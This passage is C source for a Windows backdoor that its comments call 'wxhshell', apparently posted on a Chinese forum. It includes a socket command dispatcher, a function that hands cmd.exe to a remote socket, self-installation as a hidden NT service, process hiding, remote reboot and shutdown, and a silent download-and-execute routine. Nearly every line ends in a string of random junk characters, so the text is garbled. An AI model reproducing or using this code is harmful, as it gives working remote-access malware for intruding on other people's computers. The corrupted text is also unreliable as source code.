    switch(cmd[0]) { D#pZN,'  
  5e|2b] f$  
  // 帮助 waYH_)Zx  
  case '?': { dPtQ Sa  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1;Q>B>6  
    break; ]%4rL S  
  } @TWtM#  
  // 安装 +kXj+2  
  case 'i': { CL%+`c0  
    if(Install()) EK JPeeRY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M*xt9'Yd  
    else pVGH)6P>|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K~MTbdg  
    break; l|Z<pD  
    } '(4#He?Gd  
  // 卸载 D{J+}*y  
  case 'r': { v)VhR2d3  
    if(Uninstall()) 2!y%nkO*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vvDaL$  
    else `H7V['  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4NN81~v 4  
    break; \kQ@G  
    } ^UJ#YRzi  
  // 显示 wxhshell 所在路径 `"#0\Wh  
  case 'p': { zq?Iwyo  
    char svExeFile[MAX_PATH]; ;Bs^+R7  
    strcpy(svExeFile,"\n\r"); 3H'+7[~qH  
      strcat(svExeFile,ExeFile); 5YQq*$|'+  
        send(wsh,svExeFile,strlen(svExeFile),0); 9tt0_*UX  
    break; HJh9 <I  
    } 5V($|3PI  
  // 重启 FV1!IE-}-  
  case 'b': { [HV9KAoA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a BHV  
    if(Boot(REBOOT)) j+E[ [  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F9Bj$`#)  
    else { VHUOI64*  
    closesocket(wsh); =)p/p6  
    ExitThread(0); _&~y{;)S  
    } !FhiTh:GCh  
    break; u{/!BCKE  
    } qUMM}ls  
  // 关机 bO:m^*  
  case 'd': { o YZmz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HVz,liq  
    if(Boot(SHUTDOWN)) -A\J:2a|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u\]aUP e  
    else { )t/[z3rn  
    closesocket(wsh); | gou#zi  
    ExitThread(0); 7T)J{:+0!|  
    } f7Dx.-  
    break; 0aF&5Lk`y  
    } BWz7m9 T  
  // 获取shell L,QAE)S'a  
  case 's': { R\oas"  
    CmdShell(wsh); lYz$~/sd  
    closesocket(wsh); aJ"Tt>Y[.~  
    ExitThread(0); BU|bo")  
    break; `T;M=S^y*E  
  } sT^^#$ub  
  // 退出 <<Fk[qMA  
  case 'x': { wJ| wAS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O 0lQ1<=  
    CloseIt(wsh); SAa hkX  
    break; /wj L<  
    } _DAAD,'<a  
  // 离开 tVf1]3(_>  
  case 'q': { LAoX'^6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gXR1nnK  
    closesocket(wsh); %mda=%Yn  
    WSACleanup(); g!k'tizYD  
    exit(1);  mB:I8g7  
    break; m>@$T x  
        } CDz-IQi  
  } I&} Md73  
  } !u} }V  
4~G++|NQ  
  // 提示信息 X5@rPGc  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CpAdE m{  
} U73{Uv  
  } {FavF 9O  
Tk'YpL#U  
  return; "ct_EPr`  
} ?\7 " A  
y3 {om^ f  
// shell模块句柄 quB .A7~^=  
int CmdShell(SOCKET sock) LZ@4,Uj  
{ SGU~LW&  
STARTUPINFO si; pGy]t  
ZeroMemory(&si,sizeof(si)); }v[$uT-q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (> v1)*r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Tv;|K's'  
PROCESS_INFORMATION ProcessInfo; ]0HlPP:2  
char cmdline[]="cmd";   0%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [-@Lbu-|  
  return 0; FafOd9>AO  
} NA,)FmQjk  
+^c;4-X 0  
// 自身启动模式 >F zu]G4]  
int StartFromService(void) !J}Bv  
{ "[.adiw  
typedef struct [hf#$Dl |  
{ (i,TxjS'od  
  DWORD ExitStatus; FS%Xq-c  
  DWORD PebBaseAddress; h5bQ  
  DWORD AffinityMask; /^E2BRI  
  DWORD BasePriority; \pzqUTk  
  ULONG UniqueProcessId; CapWn~*g  
  ULONG InheritedFromUniqueProcessId; W*hRYgaX3  
}   PROCESS_BASIC_INFORMATION; X9f!F2x  
Q<y&*o3YF|  
PROCNTQSIP NtQueryInformationProcess; eeuTf  
%#rH~E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3N) bJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3B(6^iS  
Og`6>?>97  
  HANDLE             hProcess; zL @ZNH  
  PROCESS_BASIC_INFORMATION pbi; pZ/aZg1Ld  
S-"&#OfWg<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +_8*;k@F'  
  if(NULL == hInst ) return 0; bP`.teO\  
<Gy)|qpK[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0R,?$qM\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VP$`.y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'm@0[i  
"28b&pm  
  if (!NtQueryInformationProcess) return 0; Cwxy ~.mI  
Fz_SID  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fPs' A  
  if(!hProcess) return 0; Ly?gpOqu5  
i/nA(%_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AepAlnI@  
/++CwRz@Gm  
  CloseHandle(hProcess); s@sr.'yU  
2 $^n@<uZ@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .`84Y  
if(hProcess==NULL) return 0; Z-RgN  
.0:t wj  
HMODULE hMod; [s-Km/  
char procName[255]; Uhc2`r#q  
unsigned long cbNeeded; yWa-iHWC  
*5k" v"NM(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZM/*cA!"  
n|vIo)  
  CloseHandle(hProcess); -X~VXeg  
Z8P{Cr~U9  
if(strstr(procName,"services")) return 1; // 以服务启动 e9;<9uX  
:,$:@  
  return 0; // 注册表启动 MfhJb_q`  
} LYPjdp2>"o  
c|[:vin  
// 主模块 0/d+26lR  
int StartWxhshell(LPSTR lpCmdLine) 33lD`4i+  
{ <wge_3W#  
  SOCKET wsl; ~3 Y)o|D3  
BOOL val=TRUE; H gMLh*  
  int port=0; gG0P &9xz  
  struct sockaddr_in door; Kc+;"4/#q  
Ey$J.qw3  
  if(wscfg.ws_autoins) Install(); ve2GRTO^aC  
n$Z@7r  
port=atoi(lpCmdLine); #pbPaRJL(  
U+t|wK  
if(port<=0) port=wscfg.ws_port; Gxu&o%x [  
dUOvv/,FZT  
  WSADATA data; kAbRXID  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jN:!V t  
Ycypd\q/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0wV!mC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Yxye?R-:  
  door.sin_family = AF_INET; <o^_il$W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  $j*j {}K  
  door.sin_port = htons(port); r>1M&Y=<  
[?mDTD8zU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y,OSQBgk  
closesocket(wsl); P g.PD,&U  
return 1; nS0K&MH6B  
} cg$@x\fJ  
`Q V}je  
  if(listen(wsl,2) == INVALID_SOCKET) { F i?2sa  
closesocket(wsl); L-\-wXg%  
return 1; 0x!XE|7I  
} {dV#"+  
  Wxhshell(wsl); MhN)ZhsC  
  WSACleanup(); rK W<kQT  
8;YeEW 5  
return 0; )&}\2NK6L  
{yQeLION  
} 0S <;T+WA  
/T`L;YE  
// 以NT服务方式启动 "Zd4e2>{M\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B#'TF?HUEn  
{ 4:-h\%  
DWORD   status = 0; !uLW-[F,  
  DWORD   specificError = 0xfffffff; QLYb>8?"C  
lwhAF, '$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iva&W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W8j)2nKD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L DD^X@q  
  serviceStatus.dwWin32ExitCode     = 0; mAh0xgm  
  serviceStatus.dwServiceSpecificExitCode = 0; d?(#NP#;  
  serviceStatus.dwCheckPoint       = 0; vdrV)^  
  serviceStatus.dwWaitHint       = 0; S~fQ8t70  
$e#p -z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l\7NR  
  if (hServiceStatusHandle==0) return; 4Y5Q>2D}  
B RF=TL5Z  
status = GetLastError(); ',k0 _n?t  
  if (status!=NO_ERROR) Xxcv 5.ug  
{ 3+_? /}<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }R:eKj  
    serviceStatus.dwCheckPoint       = 0; lj $\2 B  
    serviceStatus.dwWaitHint       = 0; [OBj2=  
    serviceStatus.dwWin32ExitCode     = status; 1TbY,3W  
    serviceStatus.dwServiceSpecificExitCode = specificError; VyH'7_aU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y6ntGrZ}$  
    return; 6>ZUx}vYj  
  } <d~P;R(@  
DytH } U"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~TC z1UWV  
  serviceStatus.dwCheckPoint       = 0; XYIZ^_My  
  serviceStatus.dwWaitHint       = 0; [8AGW7_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |i'V\" hW  
} Z-;<R$  
[=079UN-X  
// 处理NT服务事件,比如:启动、停止 a9PSg/p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .|XIF   
{ I=X-e#HM?  
switch(fdwControl) Wf/Gt\?  
{ n5 dFp%k  
case SERVICE_CONTROL_STOP: preKg $U  
  serviceStatus.dwWin32ExitCode = 0; Q':xi;?Kt  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2C^/;z  
  serviceStatus.dwCheckPoint   = 0; iEr Y2~?  
  serviceStatus.dwWaitHint     = 0; 7UvfXzDNC  
  { PeGL Rbx34  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )K.~A&y@  
  } @.ebQR-:H  
  return; s@sRdoTdF  
case SERVICE_CONTROL_PAUSE: k"F5'Od  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  b=v  
  break; s 7re  
case SERVICE_CONTROL_CONTINUE: ^Ts|/+}'i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; MjCD;I:C.  
  break; $A\fm`  
case SERVICE_CONTROL_INTERROGATE: /,dcr*  
  break; @G< J+pm  
}; BYt#aqf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :iJ+ImBpK  
} VE5w!of  
KCd}N  
// 标准应用程序主函数 %cMX]U  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?WE#%W7U  
{ n[ip'*2L  
<4S Y'-w  
// 获取操作系统版本 IMLk{y%6  
OsIsNt=GetOsVer(); O\;Z4qn2=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d;O16xcM/  
GlYNC&,VL  
  // 从命令行安装 -C]RFlV  
  if(strpbrk(lpCmdLine,"iI")) Install(); PPO*&=!]  
ogQY"c8  
  // 下载执行文件 ei)ljvvmHP  
if(wscfg.ws_downexe) { D+?/MrP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j*@^O`^v  
  WinExec(wscfg.ws_filenam,SW_HIDE); -L@4da[]i  
} (#GOXz  
OW1i{  
if(!OsIsNt) { I\E`xkbBu  
// 如果时win9x,隐藏进程并且设置为注册表启动 !Kr|04Qp#x  
HideProc(); <6g{vNA  
StartWxhshell(lpCmdLine); NNSHA'F,.\  
} U 2am1}  
else @qk$ 6X  
  if(StartFromService()) <?'d \B  
  // 以服务方式启动 O?e38(  
  StartServiceCtrlDispatcher(DispatchTable); % LeG.~?  
else Yy`\??,  
  // 普通方式启动 gV@FT|j!i  
  StartWxhshell(lpCmdLine); - &u]B$  
Jm&7&si7  
return 0; GJN"43  
}
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只看该作者 1 发表于: 2006-10-10
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